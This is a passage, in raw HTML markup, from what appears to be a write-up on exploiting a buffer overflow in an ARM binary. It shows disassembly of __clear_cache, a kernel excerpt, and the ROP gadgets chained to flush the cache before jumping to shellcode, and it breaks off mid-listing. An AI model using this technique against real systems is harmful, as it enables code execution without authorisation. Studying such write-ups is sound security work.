&lt;div class=&quot;asm geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x000023e0&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; pD 32@sym&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;__clear_cache&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x00004484 &amp;#160;sym&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;__clear_cache&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x00004484 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;04702de5 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;push&lt;/span&gt; &lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#123;&lt;/span&gt;r7&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#125;&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; (str r7, [sp, #-4]!)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x00004488 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;0020a0e3 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;mov&lt;/span&gt; r2&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x0&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0000ff;&quot;&gt;0x0000448c&lt;/span&gt; &amp;#160; &amp;#160;&lt;span style=&quot;color: #0000ff;&quot;&gt;0&lt;/span&gt; &amp;#160; &amp;#160;08709fe5 &amp;#160; &amp;#160; &amp;#160; &amp;#160; ldr r7&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;pc&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x0000449c; =&amp;gt; 0x000f0002 &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0000ff;&quot;&gt;0x00004490&lt;/span&gt; &amp;#160; &amp;#160;&lt;span style=&quot;color: #0000ff;&quot;&gt;0&lt;/span&gt; &amp;#160; &amp;#160;02009fef &amp;#160; &amp;#160; &amp;#160; &amp;#160; svc &lt;span style=&quot;color: #0000ff;&quot;&gt;0x009f0002&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; syscall[0x27e][0]=?&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x00004494 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;8000bde8 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;pop&lt;/span&gt; &lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#123;&lt;/span&gt;r7&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x00004498 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;1eff2fe1 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f;&quot;&gt;bx&lt;/span&gt; lr&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
Crafting the 0x009f0002 by ROP would&#039;ve been a bit painful I suppose so this wrapper was nice.&lt;br /&gt;
So before jumping to our shellcode, we need to call this syscall.&lt;br /&gt;
&lt;br /&gt;
A small excerpt from linux-2.6/arch/arm/traps.c to better understand this syscall:&lt;br /&gt;
&lt;div class=&quot;c geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #993333;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;inline&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;void&lt;/span&gt; do_cache_op&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #993333;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;long&lt;/span&gt; start&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;long&lt;/span&gt; end&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;int&lt;/span&gt; flags&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #993333;&quot;&gt;struct&lt;/span&gt; mm_struct &lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;mm &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; current&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;active_mm&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #993333;&quot;&gt;struct&lt;/span&gt; vm_area_struct &lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;vma&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;end &lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt; start &lt;span style=&quot;color: #339933;&quot;&gt;||&lt;/span&gt; flags&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; down_read&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&lt;/span&gt;mm&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;mmap_sem&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; vma &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; find_vma&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;mm&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; start&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;vma &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; vma&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;vm_start &lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt; end&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;start &lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt; vma&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;vm_start&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; start &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; vma&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;vm_start&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;end &lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt; vma&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;vm_end&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; end &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; vma&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;vm_end&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; flush_cache_user_range&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;vma&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; start&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; end&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; up_read&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&lt;/span&gt;mm&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;mmap_sem&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Some places suggest that you can pass 0 as a start and -1 (0xffffffff) as a range to this syscall and flush everything.&lt;br /&gt;
However, this doesn&#039;t seem to work and looking at this function I also don&#039;t understand why it should.&lt;br /&gt;
find_vma()(from mmap.c) will traverse the internal tree representation of the kernel until it finds the &lt;strong&gt;first&lt;/strong&gt;&lt;br /&gt;
virtual memory area that satisfies start &amp;lt; vma-&amp;gt;vm_start. So if the start address is zero, this should hardly ever end up in the area of attacker controlled payload (unless you are very lucky). Also flushing the complete memory range doesn&#039;t work. As we see end will be set to vma-&amp;gt;vm_end if it is bigger than the actual vma end.&lt;br /&gt;
To sum up, we really need proper values. We need a heap address lower or equal than our shellcode address in r1 and a length larger than our payload in r2.&lt;br /&gt;
&lt;br /&gt;
As __clear_cache() returns using the link register, we furthermore have to fill that with a proper value to regain control after flushing the cache.&lt;br /&gt;
So the plan is: overflow the buffer, lift our stack to a place where we can pop arbitrary addresses (these two steps could also be exchanged), flush the cache, jump to shellcode.&lt;br /&gt;
The following shows the required ROP sequences to perform this. Searching these instructions was also simply done using objdump and grep:&lt;br /&gt;
&lt;div class=&quot;asm geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x00013994&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; pD 12@sym&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;makecontext&lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt;0x1c&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x00036410 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;04e09de4 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;pop&lt;/span&gt; &lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#123;&lt;/span&gt;lr&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#125;&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; (ldr lr, [sp], #4)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x00036414 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;08d08de2 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;8&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; sym.__libc_errno&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x00036418 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;1eff2fe1 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f;&quot;&gt;bx&lt;/span&gt; lr&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; ------------&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x00013994&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; # here we &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;pop&lt;/span&gt; lr from our input &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;stack&lt;/span&gt; buffer&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; so we can properly return from __clear_cache&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x00013994&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; # we will jump to a random instruction that pops us pc from the &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;stack&lt;/span&gt; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;and&lt;/span&gt; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;this&lt;/span&gt; case r4 &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;even&lt;/span&gt; though we don&lt;span style=&quot;color: #7f007f;&quot;&gt;&#039;t need it, this way we gain control back after __clear_cache&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt;[0x00013994]&amp;gt; pD 4@sym.free_slotinfo+0x80&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt; &amp;#160; &amp;#160; &amp;#160;0x000f537c &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;1080bde8 &amp;#160; &amp;#160; &amp;#160; &amp;#160; pop {r4, pc}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt;[0x00013994]&amp;gt; # lets fill our range register now&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt;[0x00013994]&amp;gt; pD 4@sym.__aeabi_cfcmple+0x10&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt; &amp;#160; &amp;#160; &amp;#160;0x000f3928 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;0f80bde8 &amp;#160; &amp;#160; &amp;#160; &amp;#160; pop {r0, r1, r2, r3, pc}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt;[0x00013994]&amp;gt; # we don&#039;&lt;/span&gt;t need r0&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;r2 &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;and&lt;/span&gt; r3&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; however r1 will &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;pop&lt;/span&gt; our range which will be CCCC&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x00013994&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; # &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;at&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;this&lt;/span&gt; point we have to get &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;out&lt;/span&gt; buffer address &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;into&lt;/span&gt; r0&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x00013994&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; # we are lucky &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;and&lt;/span&gt; a heap address &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;in&lt;/span&gt; front of our payload resists &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;in&lt;/span&gt; r11 already &lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#40;&lt;/span&gt;due to previous function calls&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;0x00013994&lt;/span&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; # r11 is equivalent to fp&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: 